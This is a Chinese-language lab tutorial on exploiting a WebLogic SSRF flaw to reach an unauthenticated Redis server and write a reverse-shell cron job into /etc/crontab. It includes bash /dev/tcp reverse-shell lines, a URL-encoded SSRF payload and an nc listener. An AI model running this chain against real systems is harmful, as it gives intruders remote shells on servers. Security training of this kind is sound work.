Redis未授权攻击

  • 思路
  • 具体操作过程
  • 安装 Redis
  • SSRF 漏洞攻击
  • 攻击 Redis
  • 参考文章

SSRF + redis +反弹shell

weblogic SSRF 之所以能够 getshell 的原因就是 有redis服务器的存在,利用redis 的备份功能,将反弹shell命令写入 crontab 中。

  • 写入命令到 crontab,用到了gopher协议,是gopher协议的数据格式
  • 反弹shell 利用了nc工具

思路

redis 版本 < 3.1

  1. 首先通过 SSRF 进行端口的探测,查看开放的端口。如果服务器开放了6379端口,那么大概率就是 redis 服务
  2. 通过 gopher 协议调用 服务器上的 redis(将 tcp 数据流 转换为 gopher 格式的数据流)
  3. 然后 利用Redis的备份功能,将crontab的定时任务 备份到/etc/crontab中,起到执行命令的效果

具体操作过程

安装 Redis

下载安装

apt-get install redis-server

修改 redis 监听IP ,如果不修改,无法进行远程登录

vim /etc/redis/redis.conf

protected-mode yes改为protected-mode no(在没有密码的情况下,关闭保护模式)
注释掉bind 127.0.0.1     (取消绑定本地地址)

启动redis服务

service redis-server start

SSRF 漏洞攻击

首先找到漏洞存在的页面

http://ip/uddiexplorer/SearchPublicRegistries.jsp

Redisfantanshell redis反弹shell /etc/crontab_Redisfantanshell

burpsuite抓包,找参数可控的输入点(非常关键)

一般出现 ssrf漏洞 常常有以下参数,也就是一切能输入url 或 IP 的地方

url src source target link share wap imageURL …

响应包的信息有三种状态

  • 404 error... 表示此端口是开放的,是7001端口
  • which did not have a valid SOAP content-type: null 端口开放
  • but could not connect over HTTP to server 端口没有开放

Redisfantanshell redis反弹shell /etc/crontab_Redisfantanshell_02

Redisfantanshell redis反弹shell /etc/crontab_Redis_03

攻击 Redis

在客户端同样要安装redis

使用redis 客户端 远程登录服务端 (这一步在真正攻击的时候不会发生,在此展示为了方便理解)

redis-cli -h 1.15.139.205 -p 6379

Redisfantanshell redis反弹shell /etc/crontab_Redisfantanshell_04

写入计划任务

将命令写入 crontab,以下内容的意思为 将数据反弹到 攻击者(5eqc7z.dnslog.cn) 的9999 端口,因此后期还要在 攻击者主机上开启 9999 端口

set mars "\n\n\n\n* * * * * root bash -i >& /dev/tcp/攻击者的IP/9999 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

要进行url编码,才能攻击成功。

注意,换行符是“\r\n”,也就是“%0D%0A”。

http://1.15.139.205:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

然后在 /etc/crontab 下面就会发现出现了此命令

Redisfantanshell redis反弹shell /etc/crontab_Redis_05

反弹shell

然后在攻击者主机上开启监听端口,就能够远程执行命令,反弹shell

(docker 中是 redis环境,docker 和 攻击者 放在了同一台主机上)

nc -lvp 9999

Redisfantanshell redis反弹shell /etc/crontab_服务器_06

参考文章

Redis基础知识:https://www.runoob.com/redis/redis-intro.html

https://zhuanlan.zhihu.com/p/113396148

https://vulhub.org/#/environments/weblogic/ssrf/